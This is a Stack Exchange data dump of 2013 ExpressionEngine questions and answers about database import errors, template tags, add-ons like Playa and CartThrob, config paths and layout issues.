  <row Id="14055" PostTypeId="1" CreationDate="2013-09-25T12:46:36.307" Score="1" ViewCount="151" Body="&lt;p&gt;I try to import a ee db into my local environement and I get this Error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SQL-Befehl:&lt;/p&gt;&#xA;  &#xA;  &lt;h2&gt;-- --------------------------------------------------------&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;-- Tabellenstruktur für Tabelle &lt;code&gt;exp_accessories&lt;/code&gt;&#xA;  -- CREATE TABLE  &lt;code&gt;exp_accessories&lt;/code&gt; (&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;accessory_id&lt;/code&gt; INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT ,  &lt;code&gt;class&lt;/code&gt;&#xA;  VARCHAR( 75 ) NOT NULL DEFAULT  '',  &lt;code&gt;member_groups&lt;/code&gt; VARCHAR( 50 ) NOT&#xA;  NULL DEFAULT  'all',  &lt;code&gt;controllers&lt;/code&gt; TEXT,  &lt;code&gt;accessory_version&lt;/code&gt;&#xA;  VARCHAR( 12 ) NOT NULL , PRIMARY KEY (  &lt;code&gt;accessory_id&lt;/code&gt; ) ) ENGINE =&#xA;  MYISAM DEFAULT CHARSET = utf8 AUTO_INCREMENT =8;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MySQL meldet: &lt;/p&gt;&#xA;  &#xA;  &lt;h1&gt;1050 - Table 'exp_accessories' already exists&lt;/h1&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have absolutely no clue about db files what do I have to do?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-10-22T18:49:26.207" Title="Table 'exp_accessories' already exists" Tags="|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14056" PostTypeId="2" ParentId="14055" CreationDate="2013-09-25T13:16:12.243" Score="1" Body="&lt;p&gt;Okay I found the error.&#xA;The new db didn't have the same name as the old one so I deleted the lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE DATABASE IF NOT EXISTS `db_name` DEFAULT CHARACTER SET&#xA;latin1 COLLATE latin1_swedish_ci; USE `db_name`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it works. But that's not what the error said.&#xA;Is it possible to disable this line directli in the export window of phpMysql?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-09-25T13:16:12.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14057" PostTypeId="1" CreationDate="2013-09-25T14:09:00.747" Score="1" ViewCount="42" Body="&lt;p&gt;I have a safecracker file displaying the URL twice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;a href=&quot;{contract}&quot; target=&quot;_blank&quot;&amp;gt;View Contract&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's displaying like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://figdoylestown.com/figdoylestown.com/uploads/web-08.jpg&quot; rel=&quot;nofollow&quot;&gt;http://figdoylestown.com/figdoylestown.com/uploads/web-08.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-09-25T14:32:51.193" Title="Safecracker file path" Tags="|safecracker|safecracker-file|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14058" PostTypeId="2" ParentId="14057" CreationDate="2013-09-25T14:32:51.193" Score="1" Body="&lt;p&gt;I would recommend taking a look at your upload locations setup. It looks like something may be set incorrectly for the location's URL. (This could be setup through the CP or in your config.php)&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-25T14:32:51.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14059" PostTypeId="2" ParentId="14017" CreationDate="2013-09-25T14:35:17.317" Score="1" Body="&lt;p&gt;It looks like your Control Panel URL configuration may be incorrect in your config.php. You'll want to make sure the settings in the config match the URL you use to access the control panel, whether that's domain.com/system or domain.com/admin.php, etc.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-25T14:35:17.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14060" PostTypeId="2" ParentId="13777" CreationDate="2013-09-25T14:56:07.860" Score="2" Body="&lt;p&gt;It's a bug in ExpressionEngine 2.7. I've filed a bug report. Will be fixed in the next version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's some info on how to fix it on the ExpressionEngine bug tracker&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19733&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19733&lt;/a&gt; and on the forum &lt;a href=&quot;http://ellislab.com/forums/viewthread/237991/#1059052&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/237991/#1059052&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2089" LastActivityDate="2013-09-25T14:56:07.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14061" PostTypeId="1" CreationDate="2013-09-25T15:06:12.220" Score="1" ViewCount="103" Body="&lt;p&gt;I have a similar question to what was ask here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13250/getting-recipient-names-email-address-in-notification&quot;&gt;Getting Recipient Names/email address in Notification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would like to capture the names using a drop down menu instead of multiple values.&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-09-25T15:06:12.220" Title="Solspace Freeform Recipient Value in Notification" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14062" PostTypeId="2" ParentId="14033" CreationDate="2013-09-25T15:51:08.093" Score="0" Body="&lt;p&gt;Sounds like you just need to change &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; to &lt;code&gt;limit=&quot;8&quot;&lt;/code&gt; on your channel:entries tag unless I'm missing something.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-25T15:51:08.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14063" PostTypeId="1" CreationDate="2013-09-25T16:09:46.227" Score="1" ViewCount="153" Body="&lt;p&gt;We have an EE site for a hospital with two sites, default_site and another_site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default_site has almost all the unique content, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Physicians&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can have multiple specialties&lt;/li&gt;&#xA;&lt;li&gt;Custom_field (checkbox) to display on Another_site&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Specialties &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another_site pretty much just has custom page content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using Super Search to search both Physicians and Specialties from Default_site and pages from Another_site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, we only want to show specialties in the search results IF the physicians have the custom field checked to display on Another_site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can filter the physicians pretty easily, but are having a hard time figuring out how to only show only the specialties in the search results whose physicians have the checkbox checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Ideas? &lt;/p&gt;&#xA;" OwnerUserId="1938" LastActivityDate="2013-09-25T16:09:46.227" Title="Need to filter Super Search results by relationship in custom field" Tags="|stash|multi-site-manager|relationships|supersearch|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14064" PostTypeId="2" ParentId="14033" CreationDate="2013-09-25T16:14:56.333" Score="1" Body="&lt;p&gt;It would be, but within those embeds are channel entry tags that have each display a limit of 4, with different styling, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;width:400px;float:left;padding-right: 30px; border-right:solid 1px #3e3e3e&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;aupdate&quot; limit=&quot;4&quot;}&#xA;                    &amp;lt;div style=&quot;font-size:14px;color:#2b637e;font-weight:bold;line-height:1.2em&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;{site_url}/a_update/{url_title}&quot; style=&quot;text-decoration: none;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?//Article date token, taken from Date field in Article channel. ?&amp;gt;&#xA;                    &amp;lt;div style=&quot;font-size:11px;color:#959190;line-height:1.6em&quot;&amp;gt;&#xA;                        {entry_date format=&quot;%F %d, %Y&quot;}&#xA;                    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?//Article Banner Image.?&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        {exp:ed_imageresizer image=&quot;{article_image}&quot; maxWidth=&quot;200px&quot; maxHeight=&quot;80px&quot; class=&quot;banner_image&quot;}{/exp:ed_imageresizer}&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;     &amp;lt;?//Article summary token, taken from Summary field in Article channel. ?&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{article_summary}&amp;lt;/p&amp;gt;                        &#xA;                    &amp;lt;div&amp;gt;&#xA;                        [ &amp;lt;a href=&quot;{site_url}/a_update/{url_title}&quot;&amp;gt;read more&amp;lt;/a&amp;gt; ]&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;br clear=&quot;all&quot;&amp;gt;&#xA;                    &amp;lt;hr&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the second embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;aupdate&quot; limit=&quot;4&quot; offset=&quot;4&quot;}&#xA;&#xA;&amp;lt;div style=&quot;width:165px;float:left;padding-left:30px;&quot;&amp;gt;&#xA;        &amp;lt;div style=&quot;font-size:12px; color: black;font-weight: normal;&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{site_url}/a_update/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;        &amp;lt;div style=&quot;font-size:11px;color:#959190;line-height:1.6em&quot;&amp;gt;&#xA;            {entry_date format=&quot;%F %d, %Y&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;p&amp;gt;{article_promo}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;hr&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if I set the limit to 8, what happens is that it returns all my results squared, effectively, displaying way too many results/duplicates on the screen.&lt;/p&gt;&#xA;" OwnerUserId="2102" LastEditorUserId="2102" LastEditDate="2013-09-25T16:27:05.433" LastActivityDate="2013-09-25T16:27:05.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14065" PostTypeId="2" ParentId="13925" CreationDate="2013-09-25T16:40:05.773" Score="4" Body="&lt;p&gt;I ended up getting what I need using the jquery ajax form example shown in the docs &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/examples.html#id4&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and using a jquery dialog box to open up an edit field if they were logged in and authorized. If all were met, an edit button shows and opens a dialog with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            //    EDIT MODAL&#xA;    $(&quot;.editPage &amp;gt; a&quot;).click(function(e){&#xA;        //  Prevent default click action on anchor&#xA;        e.preventDefault();&#xA;&#xA;        //  Get link from html markup&#xA;        var editLink = $(this).attr('href');&#xA;        var title = $(this).attr('title');&#xA;&#xA;        // Build div contents&#xA;        var modal = $('&amp;lt;style&amp;gt;button.ui-button.ui-widget.ui-state-default.ui-corner-all.ui-button-icon-only.ui-dialog-titlebar-close{margin: -10px 0 0 96%;}&amp;lt;/style&amp;gt;&amp;lt;div id=&quot;edit_modal&quot;&amp;gt;&amp;lt;iframe id=&quot;editFrame&quot; width=&quot;800&quot; height=&quot;800&quot; src=&quot;'+editLink+'&quot; frameborder=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;').appendTo('body');&#xA;&#xA;        $(&quot;#edit_modal&quot;).dialog({&#xA;            buttons: {&#xA;                'Save': function(){&#xA;                    $(&quot;#editFrame&quot;).contents().find('form #submitMe').click();&#xA;                },&#xA;                'Cancel': function(){&#xA;                    $(this).dialog('close');&#xA;                }&#xA;            },&#xA;            title: title,&#xA;            modal: true,&#xA;            width: 'auto',&#xA;            minHeight: 800,&#xA;            resize: 'auto',&#xA;            autoResize: true,&#xA;            close: function(event, ui){&#xA;                location.reload(true);&#xA;            }&#xA;        });&#xA;&#xA;        // Open the modal&#xA;        $(&quot;#edit_modal&quot;).dialog(&quot;open&quot;);&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could probably be cleaner, but it works great.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-09-25T16:40:05.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14066" PostTypeId="1" AcceptedAnswerId="14075" CreationDate="2013-09-25T16:54:37.783" Score="0" ViewCount="186" Body="&lt;p&gt;I have a JQuery slider that, for each slide, needs to show what slide is coming next. That is, at the bottom of each slide, it will say, Next: Lorem Ipsum Dolor--the headline of my next slide. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking the best way to do this might be to make the slides channel entries, and use the Next Entry tag to pull the name of the next entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only problem is, when I get to the last slide, the &quot;Next&quot; will be empty. Is there any way to link back to the first slide? Is there a conditional that tells EE, if there is no &quot;next&quot;, then pull from the first slide?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-09-25T22:22:15.357" Title="Using Next/Previous entry and looping back to the first entry" Tags="|next-prev|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14067" PostTypeId="1" AcceptedAnswerId="14078" CreationDate="2013-09-25T17:50:52.683" Score="2" ViewCount="117" Body="&lt;p&gt;Using Focus Lab Master Config, I've defined these constants for my dev environment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('ENV', 'dev');&#xA;define('ENV_FULL', 'Development');&#xA;define('ENV_DEBUG', TRUE);&#xA;define('ENV_BASE_PATH', '/home/public_html/dev/');&#xA;define('ENV_BASE_URL', 'mywebsite.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In config.master.php I have this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['tmpl_file_basepath']        = ENV_BASE_PATH . 'templates/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when I check my Global Template Preferences in the CP, I get this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ENV_BASE_PATHtemplates/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As a test, when I put ENV, ENV_FULL or ENV_DEBUG in the $env_config line in stead, it prints correctly. On my local install there's no issue at all. Did I miss another setting needed to make this work?&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2013-09-26T02:00:00.327" Title="path constant works locally, doesn't on dev" Tags="|focus-lab-master-config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14068" PostTypeId="1" CreationDate="2013-09-25T18:28:05.037" Score="1" ViewCount="62" Body="&lt;p&gt;Bear with me as I explain my setup...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel called Speaker and a channel field called &lt;code&gt;speaker_media&lt;/code&gt; that is a matrix field type. Inside the matrix I have a channel field for &lt;code&gt;speaker_audio&lt;/code&gt;, &lt;code&gt;speaker_video&lt;/code&gt;, &lt;code&gt;speaker_photos&lt;/code&gt;. the Speaker entry is set up with the speaker's name, title, company, bio, and topic and is used in promotional material leading up to the event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another channel called Multimedia. Multimedia entries might be for a speaker event and they might not be. If they are, I have a channel field called &lt;code&gt;speaker_import&lt;/code&gt;. It's a Playa field type that allows the user (me) to define a relationship between this Multimedia entry and a single Speaker entry, since the Speaker entry will always come before the Multimedia entry (we don't have multimedia until after the event, duh!). When the &lt;code&gt;speaker_import&lt;/code&gt; field is not empty, my template grabs all the relevant info from the Speaker entry and displays it, meaning that I don't have to duplicate a bunch of information like &lt;code&gt;media_description&lt;/code&gt; (&lt;code&gt;speaker_bio&lt;/code&gt;), &lt;code&gt;media_subtitle&lt;/code&gt; (&lt;code&gt;speaker_topic&lt;/code&gt;), and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I get to the raw source portion of the Multimedia entry, I want to be able to automatically pull the speaker media in if it's defined. But since that media is a couple levels deep on the Speaker entry (&lt;code&gt;speaker_import&lt;/code&gt; &gt; &lt;code&gt;speaker_media&lt;/code&gt; &gt; &lt;code&gt;speaker_audio&lt;/code&gt;), how can I do this with an IF statement? Here is what I have so far. It's wrong and I know that, but hopefully seeing it will assist in making it NOT wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if speaker_import}&#xA;    {speaker_import}&#xA;        {if speaker_media}&#xA;            {speaker_media}&#xA;                {if speaker_video}&#xA;                    &amp;lt;a class=&quot;btn&quot; href=&quot;{speaker_video}&quot;&amp;gt;Video&amp;lt;/a&amp;gt;&#xA;                {/if}&#xA;                {if speaker_audio}&#xA;                    &amp;lt;a class=&quot;btn&quot; href=&quot;{speaker_audio}&quot;&amp;gt;Download MP3&amp;lt;/a&amp;gt;&#xA;                {/if}&#xA;            {/speaker_media}&#xA;        {/if}&#xA;    {/speaker_import}&#xA;{if:else}&#xA;    {if media_video}&#xA;        &amp;lt;a class=&quot;btn&quot; href=&quot;{media_video}&quot;&amp;gt;Video&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;    {if media_audio}&#xA;        &amp;lt;a class=&quot;btn&quot; href=&quot;{media_audio}&quot;&amp;gt;Download MP3&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case you're wondering why not just put the media files in the Speaker entry and be done... this Multimedia channel also populates our RSS for an iTunes podcast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... help?&lt;/p&gt;&#xA;" OwnerUserId="1992" LastActivityDate="2013-09-25T18:28:05.037" Title="How deep into a Matrix field type can I go with IF statements?" Tags="|matrix|assets|playa|ifelse|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14069" PostTypeId="1" CreationDate="2013-09-25T18:46:38.707" Score="1" ViewCount="96" Body="&lt;p&gt;I am trying to try see if I can use 2 different gateways on 2 different checkout pages in CT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie: on one checkout page I want to use Moneris for standard goods&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but on another checkout page reserved for Subscriptions I want to only use Stripe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to try and hardcode the gateways in each: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form return=&quot;subscription-checkout/order_info&quot; secure_action=&quot;yes&quot; gateway=&quot;stripe&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form return=&quot;checkout/order_info&quot; secure_action=&quot;yes&quot; gateway=&quot;moneris_direct&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it seems there is no way to actually know if it is actually working.  HOw do I know if the correct gateway is being used?&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-09-25T18:56:52.593" LastActivityDate="2013-10-07T23:44:39.087" Title="CartThrob Gateways" Tags="|cartthrob|shopping-cart|checkout|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14070" PostTypeId="1" CreationDate="2013-09-25T19:19:51.690" Score="1" ViewCount="102" Body="&lt;p&gt;So have you heard about the new &lt;a href=&quot;http://devot-ee.com/add-ons/playa-links&quot; rel=&quot;nofollow&quot;&gt;Playa Links add-on&lt;/a&gt;? It's kind of great, showing you when entry A has selected entry X in its Playa field. But how do you pull the data from entry A into entry X? Is it the same way as pulling it from X to A?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this unclear?&lt;/p&gt;&#xA;" OwnerUserId="1992" LastEditorUserId="197" LastEditDate="2013-09-26T12:35:51.183" LastActivityDate="2013-09-27T15:27:58.040" Title="How to pull channel entry data from Playa Links" Tags="|channel-entries|add-on|playa|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14071" PostTypeId="1" CreationDate="2013-09-25T19:38:46.850" Score="3" ViewCount="137" Body="&lt;p&gt;Is there a way for me to export a custom column order when choosing CSV? I have one form with 27 fields of information that would be much easier to follow with a unique order. I would prefer to do the reorder on the export side for my clients needs. Solutions that use a Macro in Excel aren't ideal for this particular situation.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2013-09-26T12:32:13.363" Title="Freeform Pro Custom CSV Export Order" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14072" PostTypeId="1" CreationDate="2013-09-25T20:02:46.827" Score="0" ViewCount="503" Body="&lt;p&gt;i have the following Line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;orders&quot;  entry_id_from=&quot;{embed:LAST_ID}&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;LAST_ID file : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;include '!mysql.php';&#xA;$last_id = @mysql_result(mysql_query('SELECT comanda_id_end FROM output_comenzi ORDER BY id DESC'),0);&#xA;if(!$last_id) $last_id = 0;&#xA;echo $last_id;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I make that the LAST_ID file to get PARSED, take the value and insert it into entry_id_from&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help :)&lt;/p&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="55" LastEditDate="2013-09-25T20:08:37.677" LastActivityDate="2013-09-26T12:26:23.853" Title="Expression Engine PHP &amp; Embed &amp; entry_id_from" Tags="|php|embeds|php-errors|template-scripting|querystring|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14073" PostTypeId="1" CreationDate="2013-09-25T20:52:00.350" Score="0" ViewCount="229" Body="&lt;p&gt;I've just updated a staging instance of EE to 2.7.0 from 2.5.2 following a successful update of a development instance and the live production instance. The reason for update was because we have MSM installed with four sites and needed to update to support a fifth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm upgrading MSM from version 2.1.4 to 2.1.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the update three of the four sites function correctly but the fourth displays the following error with debugging enabled:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column 't.dst_enabled' in 'field list'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SELECT t.entry_id, t.channel_id, t.forum_topic_id, t.author_id,&#xA;  t.ip_address, t.title, t.url_title, t.status, t.dst_enabled,&#xA;  t.view_count_one, t.view_count_two, t.view_count_three,&#xA;  t.view_count_four, t.allow_comments, t.comment_expiration_date,&#xA;  t.sticky, t.entry_date, t.year, t.month, t.day, t.edit_date,&#xA;  t.expiration_date, t.recent_comment_date, t.comment_total, t.site_id&#xA;  as entry_site_id, w.channel_title, w.channel_name, w.channel_url,&#xA;  w.comment_url, w.comment_moderate, w.channel_html_formatting,&#xA;  w.channel_allow_img_urls, w.channel_auto_link_urls,&#xA;  w.comment_system_enabled, m.username, m.email, m.url, m.screen_name,&#xA;  m.location, m.occupation, m.interests, m.aol_im, m.yahoo_im, m.msn_im,&#xA;  m.icq, m.signature, m.sig_img_filename, m.sig_img_width,&#xA;  m.sig_img_height, m.avatar_filename, m.avatar_width, m.avatar_height,&#xA;  m.photo_filename, m.photo_width, m.photo_height, m.group_id,&#xA;  m.member_id, m.bday_d, m.bday_m, m.bday_y, m.bio, md.&lt;em&gt;, wd.&lt;/em&gt; FROM&#xA;  exp_channel_titles AS t LEFT JOIN exp_channels AS w ON t.channel_id =&#xA;  w.channel_id LEFT JOIN exp_channel_data AS wd ON t.entry_id =&#xA;  wd.entry_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id&#xA;  LEFT JOIN exp_member_data AS md ON md.member_id = m.member_id WHERE&#xA;  t.entry_id IN (744) ORDER BY t.sticky desc, t.entry_date desc,&#xA;  t.entry_id desc&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: modules/channel/mod.channel.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 288&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried restoring the database and config files and re-running the installer and I've also tried clearing all the caches via the control panel as per the suggestions in &lt;a href=&quot;http://ellislab.com/forums/viewthread/235596/&quot; rel=&quot;nofollow&quot;&gt;this thread on the Elis Lab forum&lt;/a&gt;. Incidentally I am posting as MaryMalphurs on that thread (client account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked that the config file has the version number as &quot;270&quot; I've double checked the index.php MSM config entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a total loss now so any help will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA; Alex&lt;/p&gt;&#xA;" OwnerUserId="1898" LastActivityDate="2013-09-25T20:52:00.350" Title="Database error 1054 following update to 2.7.0" Tags="|error|database|ee2-upgrades|multiple-sites|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14074" PostTypeId="1" AcceptedAnswerId="14077" CreationDate="2013-09-25T22:20:53.793" Score="1" ViewCount="314" Body="&lt;p&gt;Trying to make some quick fixes for a client, despite being more or less a total EE n00b (I typically do more home-rolled CMS stuff). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to do a very simple grid layout, x rows by 3 columns, inside a channel entries block. This mostly works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries [...]}&#xA;    &amp;lt;div style=&quot;{switch='float:left;|float:right;|overflow:auto;'} width:33%;&quot;&amp;gt;&#xA;        [...]&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;except where count mod 3 is 2, in which case my last row of divs has one float left &amp;amp; the other float right, so a big ugly gap in the middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand I'd need a plugin to have the modulo operator that I would usually use to write logic a little smarter than this switch. I also understand there are some plugins designed to generate layouts like this for me. However, I'm in a situation where I have no choice but to work on a production site, and like I said, I'm an EE n00b, so I absolutely want to avoid plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have a solution? Other than going all web 1.0 on it and using table cells instead of divs? :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2104" LastEditorUserId="2104" LastEditDate="2013-09-25T22:51:28.023" LastActivityDate="2013-09-26T12:19:46.580" Title="Need to create a very simple grid/gallery/css &quot;table&quot; layout inside channel:entries... without plugins" Tags="|conditionals|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
